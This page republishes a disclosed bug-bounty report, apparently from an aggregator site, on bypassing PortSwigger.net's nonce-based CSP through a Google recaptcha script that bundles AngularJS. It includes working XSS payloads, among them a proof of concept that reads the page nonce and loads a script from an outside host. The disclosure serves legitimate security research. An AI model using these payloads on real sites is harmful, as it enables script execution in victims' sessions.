Skip to content
XSS Disclosed report Advanced

CSP bypass on PortSwigger.net using Google script resources

A nonce-based Content Security Policy on the site could be bypassed because it allowed a Google-hosted script that bundles AngularJS. An attacker who already had HTML injection could use Angular expressions to read the page's nonce and load their own script, achieving script execution.

joaxcar Follow

Originally disclosed on HackerOne

  • Triaged in 40 hours
  • Fixed in 2 months
  • Paid in 25 days
  • Disclosed after 2 months

Summary by the researcher

Read a full writeup of finding and reporting the bug here:

https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources

The report

Summary

Hi team! I read this blogpost again after playing with an Angular CSP bypass in this Twitter thread https://twitter.com/sudhanshur705/status/1732760081094091117

I found a way to load arbitrary scripts (escaping the restrictions of Angular) if the page uses nonce-based CSP.

As show in the Twitter thread https://www.google.com/recaptcha/about/js/main.min.js contains Angular, and your CSP allows the complete https://www.google.com/recaptcha/ URL

First of all this allows for simple JS execution, such as

HTML
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

this will pop an alert.

This allows for some JS execution, but eval and Function escalations from Angular will be blocked by the lack of unsafe-inline. I found that this can be bypassed when a site is using nonce based CSP like this

HTML
{{media:0}}

POC

  1. Go to https://portswigger.net/
  2. Open devtools and paste and execute this (replace //joaxcar.com/hack.js if you want)
JavaScript
document.getElementsByTagName("div")[0].innerHTML=`<iframe srcdoc="<div lang=en ng-app=application ng-csp class=ng-scope>
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<img src=x ng-on-error='w=$event.target.ownerDocument;a=w.defaultView.top.document.querySelector(&quot;[nonce]&quot;);b=w.createElement(&quot;script&quot;);b.src=&quot;//joaxcar.com/hack.js&quot;;b.nonce=a.nonce;w.body.appendChild(b)'>
</div>
">`
  1. See the popup, look at network tools and see that the script is loaded from

Impact

Just as in the blog, this is more of an in-depth defense. You need an HTML injection to pull this off. But as you asked us to send bypasses in

if you find something we missed, please report it to PortSwigger's bug-bounty program I do, however, understand if it is out of scope for rewards.

Have a nice one! Johan

Impact

CSP bypass using Angular JS

The original report as published on HackerOne, by joaxcar. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the CSP allowlist trusted a third-party script that bundles AngularJS, and Angular expressions could read the nonce attribute and reuse it to authorise an attacker script.

Impact

This is a defence-in-depth bypass: it only matters if an attacker can already inject HTML, and the author accepts it may be out of scope for a reward.

What the attacker needed

Attacker can inject HTML into the page; CSP allows the Google recaptcha script path; page uses nonce-based CSP

How it was found

  1. Open the site's home page.
  2. Run a snippet in the browser console that injects an iframe containing Angular markup and the allowed Google script.
  3. Observe the alert popup and the attacker script loading in the network panel.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A Content Security Policy is a browser rule that says which scripts a page may run, so it limits damage if someone injects code. Here the policy trusted a script from Google that happens to include a framework called AngularJS, which can run expressions written in page markup. By abusing that, the researcher could copy the page's one-time permission token (a nonce) and load a script of their own.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by joaxcar

View all

12 more disclosed reports, best first.

More from PortSwigger Web Security

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.